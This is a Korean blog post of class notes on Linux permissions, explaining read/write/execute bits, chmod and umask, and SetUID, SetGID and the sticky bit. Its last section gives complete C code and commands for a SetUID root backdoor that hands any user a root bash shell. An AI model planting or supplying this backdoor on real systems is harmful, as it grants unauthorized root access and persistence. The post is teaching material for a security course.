본문 바로가기
메가IT아카데미 국기과정/리눅스와 시스템보안

[1-6] 리눅스 퍼미션

by 한님폐하 2022. 9. 11.

1. 리눅스 퍼미션

퍼미션 8진수 파일 디렉토리
r : read 4 cat, more, less, head, tail, vi ls
w : write 2 편집기(vi, vim, gedit), >, >>  파일 및 디렉토리 이름 변경, 생성/삭제
x : exectue 1 ./testfile cd, 경로 지정
- : denied 0 권한 없음 권한 없음

1-1. 파일 퍼미션

r : 파일을 읽을 수 있다.
w : 파일을 수정할 수 있다.
x: 파일을 실행할 수 있다.

  • 읽기/쓰기(rw-) : 6 for 파일 수정

 

1-2. 디렉토리 퍼미션

r : ls 명령어를 이용하여 디렉토리 안에 있는 내용을 볼수 있다.
w : 디렉토리 안에 파일 또는 디렉토리를 생성/삭제/이름 변경 및 복사할 수 있다.
x : cd 명령어로 디렉토리를 이동할 수 있다. 또는 디렉토리 경로 지정을 할 수 있다.

  • 읽기/실행(r-x) : 5 for 파일 수정

 

2. 퍼미션 관련 명령어

chown	#(-R : 하위 그룹까지 적용)
chgrp	#(-R : 하위 그룹까지 적용)
chmod	#(+/-/=, 1.심볼릭 모드 u/g/o/a, r/w/x/- 2. 수치모드)
umask	#(기본퍼미션 값 조정, default: -022)

 

3. SetUID / SetGID 와 Sticky bit

  • SetUID : 일반 계정이 SetUID가 설정된 파일을 실행하면, 그 파일의 소유자 권한을 할당해주는 기능을 수행하는 특수 권한이다. (예 : /usr/bin/chsh, /usr/bin/passwd)
  •  Sticky bit : 특정 디렉토리를 공용 디렉토리 목적으로 사용할 경우, 사용자들에 의해서 파일을 생성할 수 있으나, 파일을 수정/삭제할 수 없도록 제한  할 경우 사용하는 기능이다. 디렉토리 기본 퍼미션이 '777'인 경우 사용할 수 있다. (예 : /tmp)
SetUID(4nnnn) SetGID(2nnn) Sticky bit(1nnn)  
--s --- --- --- --s --- --- --- --t 실행(x)가 있는 경우, 소문자 표기
--S --- --- --- --S --- --- --- --T 실행(x)가 없는 경우, 대문자 표기

 

[참고] SetUID를 이용한 백도어 만들기

vi backdoor.c
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() 
{
	setuid(0);
	setgid(0);
	system("/bin/bash");
	return 0;
}
yum -y install gcc
gcc -o bashshell backdoor.c
chmod 4755 bashshell

 

 

 

 

'메가IT아카데미 국기과정 > 리눅스와 시스템보안' 카테고리의 다른 글

[1-8] 리눅스 프로세스  (0) 2022.09.11
[1-7] 리눅스 쉘  (0) 2022.09.11
[1-5] vi 편집기  (0) 2022.09.11
[1-4] 압축 및 아카이빙  (0) 2022.09.11
[1-3] 계정 생성 및 관리  (0) 2022.09.11